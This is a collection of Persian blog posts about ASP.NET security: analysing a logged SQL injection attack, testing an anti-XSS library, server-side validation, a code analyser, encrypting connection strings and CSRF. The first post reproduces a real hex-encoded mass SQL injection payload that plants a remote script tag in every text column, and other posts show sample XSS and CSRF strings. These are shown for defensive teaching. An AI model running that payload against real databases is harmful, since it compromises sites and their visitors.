عنوان: **حمله چینی‌ها به سایت‌های ایرانی !**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۰۸/۰۵ ۱۶:۰۷:۰۵
آدرس: www.dotnettips.info
برچسب‌ها: Security

چند روز پیش داشتم لاگ‌های خطای یکی از سایت‌هایی رو که درست کرده‌ام بررسی می‌کردم، متوجه حجم بالای فایل لاگ خطای آن شدم (در چند سایت مختلف این مورد مشابه را دیدم). پس از بررسی، مورد زیر بسیار جالب بود:

Log Entry :

```
Error Raw Url :/show.aspx?id=15 ;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
3207661726368617228343030302920444543 4C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C452840404645544348 5F5354415455533D3
02920424547494E206578656328277570646174 65205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D207768657265202720272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D27272729464554434820 4E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F434154445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(
;(@S

IP=120.129.71.187

vahidnasiri.blogspot.com
```

خوب این چی هست؟!
قبل از اینکه با اجرای عبارت SQL فوق به صورت تستی و محض کنجکاوی، کل دیتابیس جاری (SQL server) را آلوده کنیم می‌شود تنها قسمت cast آنرا مورد بررسی قرار داد. برای مثال به صورت زیر:

```
print CAST(0x444... AS CHAR(4000))
```

خروجی، عبارت زیر خواهد بود که به صورت استادانه‌ای مخفی شده است:

```
,(DECLARE @T varchar(255

(C varchar(4000@

DECLARE Table_Cursor CURSOR

FOR

,SELECT a.name

b.name

,FROM sysobjects a

syscolumns b

WHERE a.id = b.id

'AND a.xtype = 'u

) AND

b.xtype = 99

OR b.xtype = 35

OR b.xtype = 231

OR b.xtype = 167

(

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
.....
```

عبارت T-SQL فوق، تمامی فیلدهای متنی (text ، char ، varchar و امثال آن) کلیه جداول دیتابیس جاری را پیدا کرده و به آن‌ها اسکریپتی را اضافه می‌کند. (آدرس‌های فوق وجود ندارد و بنابراین ارجاع آن صرفا سبب کندی شدید باز شدن صفحات سایت خواهد شد بدون اینکه نمایش ظاهری خاصی را مشاهده نمائید)

این حمله اس کیوال موفق نبود. علت؟
اگر به آدرس بالا دقت کنید آدرس صفحه به show.aspx?id=15 ختم می‌شود. برای مثال نمایش خبر شماره 15 در سایت. در اینجا، هدف، دریافت یک عدد صحیح از طریق query string است و نه هیچ چیز دیگری. بنابراین قبل از انجام هر کاری و تنها با بررسی نوع داده دریافتی، این نوع حملات عقیم خواهند شد. (برای مثال بکارگیری int.Parse(Request...) در صورت عدم دریافت

یک متغیر عددی، سبب ایجاد یک exception شده و برنامه در همین نقطه متوقف می‌شود)

IP های زیر حمله بالا رو انجام دادند:

IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188

این آی پی‌ها یا چینی هستند یا کره‌ای و البته الزامی هم ندارد که حتما متعلق به این کشورها باشند (استفاده از پروکسی توسط یک "هم‌وطن" برای مثال).

حالا شاید سؤال بپرسید که چرا از این اعداد هگز استفاده کرده‌اند؟ چرا مستقیما عبارت sql را وارد نکرده‌اند؟
همیشه ورودی ما از یک کوئری استرینگ عدد نخواهد بود (بسته به طراحی برنامه). در این موارد بررسی اعتبار کوئری استرینگ وارد شده بسیار مشکل می‌شود. برای مثال می‌شود تابعی طراحی کرد که اگر در مقدار دریافتی از کوئری استرینگ، select یا insert یا update و امثال آن وجود داشت، به صورت خودکار آنها را حذف کند. اما استفاده از cast فوق توسط فرد مهاجم، عملا این نوع روش‌ها را ناکارآمد خواهد کرد. برای مقابله با این حملات اولین اصلی را که باید به‌خاطر داشت این است: به کاربر اجازه انشاء نوشتن ندهید! اگر قرار است طول رشته دریافتی مثلا 32 کاراکتر باشد، او حق ندارد بیشتر از این مقداری را وارد نماید (به طول بیش از اندازه رشته وارد شده فوق دقت نمائید).
و موارد دیگری از این دست (شامل تنظیمات IIS ، روش‌های صحیح استفاده از ADO.NET برای مقابله با این نوع حملات و غیره) که خلاصه آن‌ها را در کتاب فارسی زیر می‌توانید پیدا کنید:
http://naghoos-andisheh.ir/product_info.php?products_id=197

نظرات خوانندگان

نویسنده: babak zawari
تاریخ: ۱۳۸۸/۱۰/۰۴ ۰۰:۰۲:۳۵

اتفاقا این مطلب برای یک نفر دیگه در یک تاریخ جلوتر از شما دقیقا با کدهای شما اتفاق افتاده جالب نیست.

www.rtraction.com/blog/devit/sql-injection-hack-using-cast-html

نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۱۰/۰۴ ۰۰:۱۲:۲۶

لاگ سایت ما که پر بود از این حمله. احتمالا عمومی بوده روی یک سری سایت.

عنوان: بررسی Microsoft Anti-Cross Site Scripting Library
نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۰۸/۲۰ ۱۵:۵۳:۲۵
آدرس: www.dotnettips.info
برچسب‌ها: Security

هنگام نمایش اطلاعات در وب باید اطلاعات خام دریافتی از کاربر را encode کرده و سپس نمایش داد تا از حملات XSS یا cross site scripting attacks در امان ماند. مثلا وبلاگی را طراحی کرده‌اید و یک نفر اطلاعات زیر را بجای توضیحات ارسال کرده است:

```
<SCRIPT>alert('XSS')</SCRIPT>
```

اگر اطلاعات به همین شکل دریافت و بدون تغییر هم نمایش داده شود، یک ضعف امنیتی برای سایت شما به‌حساب خواهد آمد. (بحث دزدیدن اطلاعات کوکی و امثال آن از این طریق با معرفی HttpOnly cookies در IEهای جدید و فایرفاکس 3 به بعد تقریبا منتفی شده است اما می‌توانند با ارسال انبوهی اسکریپت، مشاهده صفحه را با crash کردن مرورگر کاربران همراه کنند) مایکروسافت برای این منظور Microsoft Anti-Cross Site Scripting Library را ارائه داده است. نمونه بهبود یافته HttpUtility.HtmlEncode که در فضای نام System.Web موجود است.

در اینجا قصد داریم این کتابخانه را با لیست زیر آزمایش کنیم:

http://ha.ckers.org/xss.html

در همان صفحه اگر دقت کنید، لیست حملات را به صورت یک فایل xml هم ارائه داده است:

http://ha.ckers.org/xssAttacks.xml

برای خواندن این فایل xml در دات نت روش‌های زیادی وجود دارد منجمله XML serialization .

ساختار این فایل به شکل زیر است:

```
<?xml version="1.0" encoding="UTF-8"?>
<xss>
<attack>
 <name>x1</name>
 <code>x2</code>
 <desc>x3</desc>
 <label>x4</label>
 <browser>x5</browser>
</attack>
.
.
.
```

بنابراین شیء نمایانگر آن می‌تواند به صورت لیستی از کلاس زیر باشد:

```
public class attack{
      public string name { get; set; }
      public string code { get; set; }
      public string desc { get; set; }
      public string label { get; set; }
      public string browser { get; set; }
  }
```

برای دریافت این لیست و بارگذاری فایل xml مربوطه با استفاده از روش XML serialization خواهیم داشت:

```
using System.Collections.Generic;
using System.IO;
using System.Xml.Serialization;

      public static List<attack> DeserializeFromXML(string path)
      {
          XmlRootAttribute root = new XmlRootAttribute("xss");
          XmlSerializer deserializer =
              new XmlSerializer(typeof (List<attack>),root);
          using (TextReader textReader = new StreamReader(path))
          {
              return (List<attack>)deserializer.Deserialize(textReader);
          }
      }
```

در ادامه فرض بر این است که ارجاعی از اسمبلی AntiXssLibrary.dll به پروژه اضافه شده است، همچنین فایل xssAttacks.xml فوق نیز در کنار فایل اجرایی برنامه ، مثلا یک برنامه کنسول قرار گرفته است:

```
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using Microsoft.Security.Application;

      private static void testMethod()
      {
          StringBuilder sb = new StringBuilder();
          sb.AppendFormat("<html>{0}", Environment.NewLine);
          sb.AppendFormat("<body>{0}", Environment.NewLine);

          List<attack> data = XMLParser.DeserializeFromXML("xssAttacks.xml");
          foreach (attack atk in data)
          {
              string cleanSafeHtmlInput = AntiXss.HtmlEncode(atk.code);
              sb.AppendFormat("{0}<br>{1}", cleanSafeHtmlInput, Environment.NewLine);
          }

          sb.AppendFormat("</body>{0}", Environment.NewLine);
          sb.AppendFormat("</html>");

          File.WriteAllText("out.htm", sb.ToString());
      }
```

پس از اجرای تابع فوق، خروجی ما یک فایل html خواهد بود به نام out.htm . آنرا در مرورگر خود باز کنید. بدون هیچ مشکلی باز خواهد شد و خروجی امنی را مشاهده خواهید کرد. برای مشاهده اثر واقعی این کتابخانه، قسمت AntiXss.HtmlEncode را از کد فوق حذف کنید و یکبار دیگر برنامه را اجرا کنید. اکنون فایل نهایی را در مرورگر باز کنید. با انبوهی از alert های جاوا اسکریپتی مواجه خواهید شد که اهمیت کتابخانه فوق را جهت ارائه خروجی امن در صفحات وب مشخص می‌سازد.

نظرات خوانندگان

نویسنده: Salar
تاریخ: ۱۳۸۷/۰۸/۲۱ ۰۹:۲۴:۰۰

روش جالب برای تست این کلاس بود. ممنون

اینجا مثالهایی از سایر توابع هم هست

http://blogs.msdn.com/cisg/archive/2008/08/26/what-is-microsoft-antixss.aspx

نویسنده: sff
تاریخ: ۱۳۹۱/۰۶/۱۳ ۳:۱۴

<SCRIPT>alert('XSS')</SCRIPT>

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۶/۱۳ ۹:۰

احسنت! بزرگ شدی!

عنوان: **تشخیص غیرفعال بودن JavaScript در مرورگر کاربر**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۰/۰۱ ۲۲:۵۷:۲۳
آدرس: www.dotnettips.info
برچسب‌ها: Security

اکثر کنترل‌های تعیین اعتبار ASP.Net بر اساس جاوا اسکریپت کار می‌کنند (مانند RangeValidator و امثال آن). حال اگر کاربری افزونه no script فایرفاکس را نصب کرده بود چه باید کرد؟
با استفاده از این افزونه، این نوع کنترل‌ها از کار خواهند افتاد (چون دیگر کدهای جاوا اسکریپتی آنها اجرا نخواهند شد).
خوشبختانه برای بررسی صحت عملکرد این کنترل‌ها در ASP.Net امکان بررسی خاصیت Page.IsValid نیز وجود دارد که در ادامه به آن خواهیم پرداخت.

صفحه‌ی بسیار ساده ASP.Net زیر را در نظر بگیرید:

```
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm3.aspx.cs"
Inherits="testWebForms87.WebForm3" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
   <title></title>
</head>
<body>
   <form id="form1" runat="server">
   <div>
       <asp:TextBox ID="txtData" runat="server"></asp:TextBox>
       <asp:RangeValidator ID="RangeValidator1" runat="server" ControlToValidate="txtData"
           ErrorMessage="لطفا یک عدد وارد کنید" MaximumValue="100000" MinimumValue="0"
SetFocusOnError="True"
           Type="Integer"></asp:RangeValidator>
       <asp:RequiredFieldValidator ID="RequiredFieldValidator1" runat="server"
ControlToValidate="txtData"
           ErrorMessage="لطفا مقداری را وارد نمائید" SetFocusOnError="True"></asp:RequiredFieldValidator>
       <br />
       <asp:Button ID="btnSubmit" runat="server" OnClick="btnSubmit_Click" Text="Submit" />
       <br />
       <asp:Label ID="lblValue" runat="server"></asp:Label>
   </div>
   </form>
</body>
</html>
```

یکبار این صفحه را با فعال کردن افزونه یاد شده بررسی کنید.
سپس برای بررسی سمت سرور عملکرد کنترل‌های تعیین اعتبار در ASP.Net می‌توان به صورت زیر عملکرد:

```
protected void btnSubmit_Click(object sender, EventArgs e)
       {
           if (btnSubmit.CausesValidation)
           {
               // Validate the Page
               Page.Validate();

               // Ensure Page is Valid
               if (!Page.IsValid)
               {
                   lblValue.Text = "لطفا جاوا اسکریپت را در مرورگر خود فعال نمائید";
                   return;
               }
           }

           lblValue.Text = txtData.Text;
       }
```

ابتدا بررسی می‌شود که آیا دکمه مورد استفاده جهت ارسال مقادیر صفحه به سرور سبب فعال شدن کنترل‌های تعیین اعتبار می‌شود؟ اگر اینطور بود، سپس صفحه تعیین اعتبار شده و با استفاده از مقدار خاصیت Page.IsValid مشخص می‌شود که آیا این عملیات به درستی صورت گرفته است یا خیر.

راه دیگر بررسی غیرفعال بودن جاوا اسکریپت در یک صفحه استفاده از روش سنتی تگ noscript است:

```
<noscript>
       <meta http-equiv="refresh" content="0;url=http://www.google.com">
   </noscript>
```

در این مثال اگر جاوا اسکریپت غیرفعال باشد کاربر به گوگل هدایت خواهد شد. البته بهتر است یک صفحه‌ی خطای از پیش تعیین شده برای این مورد در نظر گرفته شود.

در پایان باید خاطر نشان کرد که هیچگاه به کنترل‌های تعیین اعتبار سمت کاربر اطمینان نکنید و حتما یا از روش فوق استفاده نمائید، یا در روال submit صفحه به سرور، یکبار دیگر داده‌ها را به صورت دستی نیز بررسی کنید. برای مثال اگر کاربر قرار است آدرس ایمیلی را وارد کند، حتما یکبار دیگر با استفاده از regular expressions ، در سمت سرور نیز عبارت ورودی را بررسی کنید.

نظرات خوانندگان

نویسنده: نیما
تاریخ: ۱۳۸۷/۱۰/۰۱ ۲۳:۴۹:۰۰

سلام استاد
بسیار مطلب مفیدی بود.

عنوان: **معرفی افزونه CAT.NET**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۰/۱۰ ۱۵:۵۴:۵۵
آدرس: www.dotnettips.info
برچسب‌ها: Security

اخیرا مایکروسافت افزونه رایگانی را برای آنالیز امنیتی کدهای برنامه‌های نوشته شده با VS.Net ارائه داده است به نام CAT.Net.
دریافت افزونه 32 بیتی ، 64 بیتی

این افزونه قابلیت بررسی کدهای شما را جهت یافتن خطرات جدی XSS ، SQL Injection و XPath Injection دارد.
نحوه استفاده:
VS.Net خود را ببندید. در ادامه، پس از نصب، به منوی Tools و گزینه‌ی جدید CAT.NET Code Analysis مراجعه نمائید.
صفحه‌ای ظاهر خواهد شد که پس از کلیک بر روی دکمه آغاز آنالیز آن، کار بررسی امنیتی پروژه را آغاز می‌کند (شکل زیر)

این افزونه همانند FxCop ، اسمبلی برنامه را آنالیز می‌کند. پس از پایان آنالیز، با کلیک بر روی هر سطری که گزارش داده، آن سطر را می‌توان در پروژه یافت و تغییرات لازم را اعمال نمود.

همچنین پس از پایان کار بررسی، یک فایل xml هم در مسیر فایل‌های پروژه ایجاد می‌کند که در آینده در صورت نیاز، توسط همین افزونه قابل گشودن است.

بعلاوه پس از نصب، یک فایل chm هم در دایرکتوری آن جهت آشنایی بیشتر با اجزای مختلف این افزونه قرار خواهد گرفت.

البته، برنامه هنوز در مراحل آزمایشی به سر می‌برد. برای مثال پس از نصب در مسیر دیگری غیر از مسیر پیش فرض نصب، پیغام می‌داد که فایل‌ها را نمی‌تواند پیدا کند. اگر این مورد برای شما هم رخ داد، مسیری را که گزارش می‌دهد به صورت دستی درست کنید و فایل‌های کانفیگ آن‌را از جایی که نصب کرده‌اید به آنجایی که برنامه به شما گزارش می‌دهد کپی کنید تا کار کند!

یا می‌توان این افزونه را از طریق خط فرمان هم اجرا کرد (مسیر پروژه، اسمبلی آن و مسیر نصب cat.net را لازم دارد). به صورت زیر:

```
CATNETCmd /file:"I:\prog\bin\prog.dll" /search:"I:\prog"  /report:"I:\prog\report.xsl"
/rule:"J:\microsoft\cat.net\Rules"
```

که نتیجه حاصل را در فایل xsl نهایی ثبت خواهد نمود.

اگر علاقمند به مطالعه تاریخچه‌ی این برنامه هستید به وبلاگ زیر مراجعه نمائید:
مشاهده وبلاگ

نظرات خوانندگان

نویسنده: مهرداد قاسمی
تاریخ: ۱۳۸۷/۱۰/۱۰ ۱۸:۳۵:۰۰

سلام آقای نصیری .
من این افزونه را نصب کردم . ولی بعد از نصب دیگر ویژوال استدیو باز نشدو بعد پنجره گزارش به مایکروسافت آمد و من دکمه Dont'Send را زدم و ویژوال بسته شد . میشه مشکل من را حل کنید . من از Vs 2008 استفاده میکنم و نسخه 32 بیتی را گرفتم .

نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۰/۱۰ ۱۸:۴۰:۰۰

من این مشکل را با VS2008 خودم نداشتم. شاید با یکی از افزونه‌هایی که نصب کردید تداخل دارد. اگر به این صورت بهتر است از کنترل پنل آن‌را کلا uninstall کنید.
قبل از uninstall کردن، یک بک آپ بگیرید از فایل‌هایی که نصب کرده. چون از طریق خط فرمان هم همانطور که عرض کردم کار می‌کند. خروجی html هم در کنار xsl ذکر شده می‌دهد که بسیار جالب و شکیل است. به این صورت با آن کار کنید تا با IDE شما تداخل نداشته باشد و مشکل درست نکند.

نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۰/۱۰ ۱۸:۴۴:۰۰

یک نکته:
همیشه IDE ویژوال استودیو را در حالت safe mode و بدون افزونه‌ها هم می‌شود اجرا کرد به صورت زیر:

```
devenv /safemode
```

دستور فوق را در run ویندوز نوشته و enter کنید. به این صورت IDE بدون افزونه‌ها بارگذاری می‌شود.

نویسنده: مهرداد قاسمی
تاریخ: ۱۳۸۷/۱۰/۱۱ ۰۰:۰۲:۰۰

سلام
نه افزونه خاصی نصب نکردم !!! ؟

عنوان: **رمزنگاری کانکشن استرینگ در ASP.Net**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۰/۱۶ ۱۰:۱۴:۵۹
آدرس: www.dotnettips.info
برچسب‌ها: Security

ذخیره کردن رشته اتصالی به دیتابیس، به صورت یک رشته مشخص در کدهای برنامه، کاری است مزموم. زیرا پس از هر بار تغییر این مورد، نیاز خواهد بود تا تمامی سورس‌ها تغییر کنند و اگر از حالت web application استفاده کرده باشید، مجبور خواهید شد یکبار دیگر برنامه را کامپایل و دایرکتوری bin روی سرور را به روز کنید. به همین جهت، استاندارد برنامه‌های ASP.Net این است که این رشته اتصالی را در فایل web.config ذخیره کنیم تا با هر بار تغییر پارامترهای مختلف آن (مثلا تغییر نام سرور، یا تعویض ماهیانه پسوردها)، مجبور به کامپایل مجدد برنامه نشویم. شبیه به همین مورد در برنامه‌های PHP هم رایج است و عموما این مشخصات در فایل config.php و یا با اسامی شبیه به این صورت می‌گیرد.
در ASP.Net 1.x قسمت خاصی برای کانکشن استرینگ وجود نداشت اما از ASP.Net 2 به بعد ، قسمت ویژه‌ای مخصوص این کار در فایل web.config در نظر گرفته شده است.
خیلی هم خوب! اما این تجربه تلخ کاری را (که یکبار برای من رخ داد) هم همواره در نظر داشته باشید:
امکان خوانده شدن محتوای فایل کانفیگ، توسط همسایه شما در همان هاست اشتراکی که الان از آن دارید استفاده می‌کنید.
عموما هاست‌های اینترنتی اشتراکی هستند و نه dedicated و نه فقط مختص به شما. از یک سرور برای سرویس دهی به 100 ها سایت استفاده می‌شود. یکبار در یکی از سایت‌ها دیدم که فایل machine.config سرور را هم محض نمونه خوانده بودند چه برسد به فایل متنی کانفیگ شما! یا تصور کنید که وب سرور هک شود. عموما اس کیوال سرور بر روی سرور دیگری قرار دارد. به همین جهت رمزنگاری این رشته باز هم ضریب امنیت بیشتری را به همراه خواهد داشت.
به همین منظور رمزنگاری قسمت کانکشن استرینگ فایل وب کانفیگ الزامی است، چون آن‌هایی که به دنبال اطلاعاتی اینگونه هستند دقیقا می‌دانند باید به کجا مراجعه کنند.

راه حل‌ها:

الف) از وب کانفیگ برای این‌کار استفاده نکنید. یک فایل class library درست کنید (یک dll مجزا) و ارجاعی از این فایل را به پروژه خود اضافه کنید و از رشته اتصالی قرار گرفته در آن استفاده کنید. این فایل را هم می‌توان با روش‌های obfuscation محافظت کرد تا امنیت اطلاعات داخل آن‌را تا حد قابل قبولی بالا برد. همچنین می‌توان برای این فایل کتابخانه، امضای دیجیتال درنظر گرفت. زیرا امضای دیجیتال سبب می‌شود تا تغییر فایل dll رشته اتصالی، با یک کپی و paste معمولی قابل انجام نباشد (تمامی dll ها و اسمبلی‌های دیگری که ارجاعی از آن‌را در خود دارند باید یکبار دیگر هم کامپایل و به سرور منتقل شوند). این یک نوع اطمینان خاطر است اما در بلند مدت شاید تکرار اینکار خسته کننده باشد.

ب)استفاده از روش استاندارد رمزنگاری قسمت‌های مختلف کانکشن استرینگ فایل web.config
برای مشاهده نحوه انجام اینکار با برنامه نویسی به این مقاله مراجعه نمائید.
مزیت: نیازی به کد نویسی برای رمزگشایی و استفاده از آن نیست و اینکار به صورت خودکار توسط ASP.Net انجام می‌شود.
ایراد:فایل حاصل قابل انتقال نیست. چون رمزنگاری بر اساس کلیدهای منحصربفرد سرور شما ایجاد می‌شوند، این فایل از یک سرور به سرور دیگر قابل انتقال و استفاده نخواهد بود. یعنی اگر بر روی کامپیوتر برنامه نویسی شما این‌کار صورت گرفت، برنامه در سرور کار نخواهد کرد. البته شاید ایراد آنچنانی نباشد و فقط باید یکبار دیگر روی هاست نیز این کار را تکرار کرد. اما باید درنظر داشت که همسایه محترم شما نیز می‌تواند بر روی همان هاست به سادگی فایل شما را رمزگشایی کند! بنابراین نباید اصلا به این روش در هاست‌های اشتراکی دل خوش کرد.

ج)بکارگیری روش‌های غیراستاندارد رمزنگاری
منظور از غیراستاندارد، حالت‌های دیگر استاندارد رمزنگاری و رمزگشایی نسبت به روش استاندارد ارائه شده توسط مایکروسافت است (که همه از آن مطلع هستند). به شخصه از این روش در هاست‌ها استفاده می‌کنم. (مثلا ، البته با کمی تغییر و پیچ و تاب بیشتر)

الگوریتم‌های رمزنگاری و رمزگشایی در یک فایل dll به برنامه اضافه می‌شوند (بنابراین این فایل قرار نیست تغییر کند). رشته رمزنگاری شده در فایل web.config قرار می‌گیرد. بدیهی است در هر بار اتصال به دیتابیس این رشته باید رمزگشایی شود اما سربار آن بسیار کم است و اصلا مشهود نیست. در هر حال این هزینه‌ای است که باید پرداخت شود. بدست آوردن ساده کانکشن استرینگ یعنی امکان پاک کردن سریع کل اطلاعات شما.

د)اگر سرور dedicated است حتما از روش windows authentication استفاده کنید
برای مثال یک سرور dedicated مخصوص کار ویژه‌ای تهیه کرده اید یا در شبکه اینترانت یک شرکت برنامه شما نصب شده است.
روش اعتبار سنجی از نوع ویندوزی برای اتصال به اس کیوال سرور نسبت به حالت sql server authentication امن تر است، زیرا نیازی نیست تا در وب کانفیگ نام کاربری یا پسوردی را مشخص نمائید و همچنین در این حالت پسوردها در شبکه منتقل نمی‌شوند (در حالت sql server authentication اینطور نیست). اما عموما در هاست‌های اشتراکی برای ساده تر کردن کار ، از این روش استفاده نمی‌کنند.
بنابراین در اینجا حتی اگر شخصی به رشته اتصالی شما دسترسی پیدا کند، کار خاصی را نمی‌تواند انجام دهد چون هیچگونه نام کاربری یا پسوردی در آن لحاظ نشده است.
در این روش به صورت پیش فرض از اکانت ASP.Net استفاده می‌شود. یعنی تمام برنامه‌ها محدود به یک اکانت خواهند شد.
برای تغییر این مورد دو کار را می‌توان انجام داد : استفاده از impersonation یا مطالعه قسمت بعد (ه)
توصیه: از روش impersonation به دلیل اینکه باید نام کاربری و کلمه عبور را باز هم به صورت واضحی ذکر نمود اجتناب کنید.

ه)ایجاد application pool مجزا به ازای هر برنامه ASP.Net در ویندوزهای سرور
Application pool که برای اولین بار در ویندوز سرور 2003 معرفی شده جهت ایزوله کردن برنامه‌های ASP.Net بکار برده می‌شود. به این صورت می‌شود برای هر pool یک اکانت ویندوزی مجزا تعریف کرد . حال می‌توان به این اکانت در اس کیوال سرور دسترسی داد. به این صورت برنامه‌های مختلف تحت یک اکانت واحد (یوزر asp.net) کار نکرده (می‌توانند هم کار کنند، اما امکان تعریف identity جدید برای کاربر آن در IIS وجود دارد) و ضریب امنیتی بالاتری را تجربه خواهید کرد (در تکمیل روش (د))

نظرات خوانندگان

نویسنده: نیما
تاریخ: ۱۳۸۷/۱۰/۱۶ ۲۳:۱۰:۰۰

سلام آقای نصیری.خوبین؟من چجوری میتونم مراتب تشکرم روبه شما اعلام کنم.فقط میتونم دعا کنم خدا کار شما رو همیشه راه بندازه.ان شا الله.
من برای انکریپشن از این کتابخونه استفاده میکنم:
http://www.codeproject.com/KB/security/SimpleEncryption.aspx
من برای ویندوز یه فایل ایکس ام ال برای پیکر بندی ایجاد میکنم(شبیه app.config) که مواردی که برای برنمم لازم هست رو با الگوریتم TripleDES و با یه رشته عجیب غریب که توش کاراکترهای عجیب غریب داره کد میکنم.الان موردی که هست اینه که من برای پروژه DAL ام باید این فایل رو باز کنم رشته کانکشن استرینگ مورد نظر رو دیکد کنم و بعد ازش استفاده کنم.آیا این قیمتیه که باید برای امنیت بدیم؟راه بهتری وجود داره؟یعنی میشه یه بار این رشته رو دیکد کرد و در حافظه نگه داشت؟اما خوب برای این کار باید همیشه یه نمونه از کلاس DAL وجود داشته باشه.
برای نت هم آیا به صرفه هست یه پروایدر دیگه برای دیکد بنویسیم که از غیر قابل برگشت بودن اون مظمئن بشیم؟
ممنون از لطف و محبت شما
همیشه موفق باشید
نیما

نویسنده: حسین
تاریخ: ۱۳۸۷/۱۰/۱۶ ۲۳:۳۰:۰۰

مشترک فیدت شدیم

نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۰/۱۷ ۰۰:۰۹:۰۰

@ نیما
- در وب برای اینکه این کاراکترهای عجیب و غریب مشکل ساز نشوند یکبار دیگر هم اطلاعات رمزنگاری شده را از فیلتر base64 encoding عبور می‌دهند. به این صورت مشکلی برای نگهداری آن‌ها در فایل‌ها وجود نخواهد داشت.
- نگهداری اطلاعات حساس در حافظه به صورت plain کار اشتباهی است چون دامپ حافظه ویندوز و یا تمام سیستم عامل‌های دیگر کار ساده‌ای است. برنامه‌های زیادی هستند که پروسس‌های ویندوز را لیست می‌کنند و به شما اجازه می‌دهند حافظه آن‌ها را دامپ کنید (به راحتی چند کلیک). استخراج اطلاعات حساس هم از یک فایل دامپ تر و تازه زیاد مشکل نیست.
- سرعت الگوریتم‌های رمزنگاری واقعا بالا است. پیاده سازی‌های خیلی خوبی هم دارند. بنابراین زیاد نگران این سربار نباشید. چون در حد یک رشته ساده و امثال آن اصلا سرباری به حساب نمی‌آیند و بسیار سریع عمل می‌کنند.

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۱/۰۷/۱۷ ۱۱:۲۶

خیلی ممنون مقاله خیلی مفیدی هست
لطفا در صورت امکان یه لینک دیگه برای روش (ج) که خودتون ازش استفاده می‌کنید معرفی کنید که این روش رو با مثال توضیح داده باشه. لینکی که معرفی کردید غیر قابل دسترس هست. البته این به خاطر این هست که این مطلب سال 87 نوشته شده.
به نظرتون امکان داره این فایل dll که الگوریتم‌های رمزگزاری و رمزگشایی داخلش نوشته می‌شن به دست مهاجم بیفته؟ یعنی dllهای دایرکتوری bin پروژه به دست مهاجم بیفته؟
خیلی ممنون

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۷/۱۷ ۱۲:۲۰

- این مطلب هست (البته این خیلی ساده است؛ ولی ایده‌اش مهم است).
- بله (در صورت دسترسی به سرور و یا وجود باگ LFI). البته روش‌های obfuscation می‌تونه در این حالت مفید باشه.

عنوان: **Anti CSRF module for ASP.NET**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۱/۰۲ ۱۱:۱۱:۲۱
آدرس: www.dotnettips.info
گروه‌ها: Security

CSRF یا Cross Site Request Forgery به صورت خلاصه به این معنا است که شخص مهاجم اعمالی را توسط شما و با سطح دسترسی شما بر روی سایت انجام دهد و اطلاعات مورد نظر خود را استخراج کرده (محتویات کوکی یا سشن و امثال آن) و به هر سایتی که تمایل دارد ارسال کند. این‌کار عموما با تزریق کد در صفحه صورت می‌گیرد. مثلا ارسال تصویری پویا به شکل زیر در یک صفحه فوروم، بلاگ یا ایمیل:

```
<img src="http://www.example.com/logout.aspx">
```

شخصی که این صفحه را مشاهده می‌کند، متوجه وجود هیچگونه مشکلی نخواهد شد و مرورگر حداکثر جای خالی تصویر را به او نمایش می‌دهد. اما کدی با سطح دسترسی شخص بازدید کننده بر روی سایت اجرا خواهد شد.

روش‌های مقابله:
هر زمانیکه کار شما با یک سایت حساس به پایان رسید، log off کنید. به این صورت بجای منتظر شدن جهت به پایان رسیدن خودکار طول سشن، سشن را زودتر خاتمه داده‌اید یا برنامه نویس‌ها نیز باید طول مدت مجاز سشن در برنامه‌های حساس را کاهش دهند. شاید بپرسید این مورد چه اهمیتی دارد؟ مرورگری که امکان اجازه‌ی بازکردن چندین سایت با هم را به شما در tab های مختلف می‌دهد، ممکن است سشن یک سایت را در برگه‌ای دیگر به سایت مهاجم ارسال کند. بنابراین زمانیکه به یک سایت حساس لاگین کرده‌اید، سایت‌های دیگر را مرور نکنید. البته مرورگرهای جدید مقاوم به این مسایل شده‌اند ولی جانب احتیاط را باید رعایت کرد.
برای نمونه افزونه‌ای مخصوص فایرفاکس جهت مقابله با این منظور در آدرس زیر قابل دریافت است:
CSRF Protector

